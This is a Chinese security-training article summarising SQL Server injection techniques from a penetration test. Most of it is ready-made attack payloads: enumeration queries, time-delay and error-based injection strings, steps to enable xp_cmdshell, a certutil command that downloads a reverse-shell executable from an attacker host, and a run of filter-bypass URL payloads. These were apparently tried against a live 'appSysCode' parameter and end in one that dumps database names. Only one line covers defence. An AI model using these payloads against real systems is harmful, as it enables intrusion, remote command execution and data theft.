SQL Server 注入小结

发表于:2018-08-31 10:11:12 来源:  合天网安实验室 阅读数(0人)

在实习的渗透测试项目中,遇到的数据库系统绝大部分是 SQL Server。也算是了解和熟悉 Mssql 的一个重要过程吧。


0x01 基础


1、常用查询


查询所有的数据库名


SELECT name FROM master..sysdatabases WHERE name NOT IN ( 'master', 'model', 'msdb', 'tempdb', 'northwind','pubs' );


获取某数据库的所有表(假设库名为fooDB)


-- XType='U':表示所有用户表;


-- XType='S':表示所有系统表;


SELECT name FROM fooDB..sysobjects Where xtype='U';


获取某表所有字段名(假设表名为fooTable)


SELECT name FROM SysColumns WHERE id=Object_id('fooTable');


延时注入


SELECT * FROM fooTable WHERE id=1 WAITFOR DELAY '0:0:3';


2、常用内置函数


db_name() -- 当前库名


user -- 当前用户名


suser_name() -- 登陆用户名


3、like 查询大小写敏感模式


SELECT * FROM dt WHERE columnname COLLATE Chinese_PRC_CS_AS LIKE 'aa%';


举例分析 Chinese_PRC_CS_AI_WS:


前半部份:指 UNICODE 字符集,Chinese_PRC_指针对大陆简体字 UNICODE 的排序规则。


_BIN 二进制排序


_CI(CS) 是否区分大小写,CI不区分,CS区分


_AI(AS) 是否区分重音,AI不区分,AS区分


_KI(KS) 是否区分假名类型,KI不区分,KS区分


_WI(WS) 是否区分宽度,WI不区分,WS区分


4、实现 limit m,n


查询结果中第 7 条到第 9 条记录,如 MySql 中的 limit 7,3


select top 3 id from tablename where id not in ( select top 6 id from tablename )


0x02 关于xp_cmdshell


开启xp_cmdshell存储过程


EXEC sp_configure 'show advanced options', 1;


RECONFIGURE;


EXEC sp_configure 'xp_cmdshell', 1;


RECONFIGURE;


关闭只需将开启语句的第二个1改成0再执行即可


运行命令


exec master..xp_cmdshell "whoami";


exec master..xp_cmdshell "ping 127.0.0.1 -n 5 > nul";


exec master..xp_cmdshell "certutil -urlcache -split -f http://IP/re_shell.exe D:\re_shell.exe";


彻底防御xp_cmdshell方法:修复sql注入漏洞、删除 xplog70.dll 组件


0x03 利用数据类型转换报错注入


and 可用:?key=aa'+and+db_name()>1


and 不可用:?key='%2buser()^1


convert 转换类型:?key=a'%2b(convert(int, @@version))


0x04 Tricks


1、set 绕过 select 过滤


; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)-- -


2、有趣的绕过例子


输入单引号时会报错




尝试%23和--+-的注释来判断后端数据库系统类型。语句出错的时候返回200并报错。正确的时候是302。可知为mssql。


服务端对数据进行了拦截和过滤,拒绝处理请求。然而可利用 varchar^int 来爆出数据。


?appSysCode='%2buser%5e1--+-




拦截有点厉害。尝试了许多select方式都不行。


?appSysCode=a'%2b(select+'aaa')--+-
?appSysCode=a'%2b(select+1)%5e1--+-
?appSysCode=a'%2b(convert(int,(select+'bbb')))%5e1--+-(这里只有a报错)
?appSysCode=a'%2b(convert(varchar,(select+'bbb')))%5e1--+- (这里直接302)
?appSysCode=a'%2b(convert(int,(select+'bbb')))--+-
?appSysCode=a'%3bSELECT+11--+-
?appSysCode=a'%3bexec+xxxxx--+-
				   	

不过还是存在规则缺陷的。


?appSysCode=a'%3bselect+*+from+(select+'aaa'+as+c)+t2+where+c%5e1=0--+-




可爆出任意数据


appSysCode=a'%3bSELECT+name+FROM+master..sysdatabases+where+name%5e1%3e0+and+name+NOT+IN+('master','model','msdb','tempdb','northwind','pubs')--+-


相关新闻

大家都在学

课程详情

信息安全意识教育

课程详情

小白入门之旅

课程详情

信息安全基础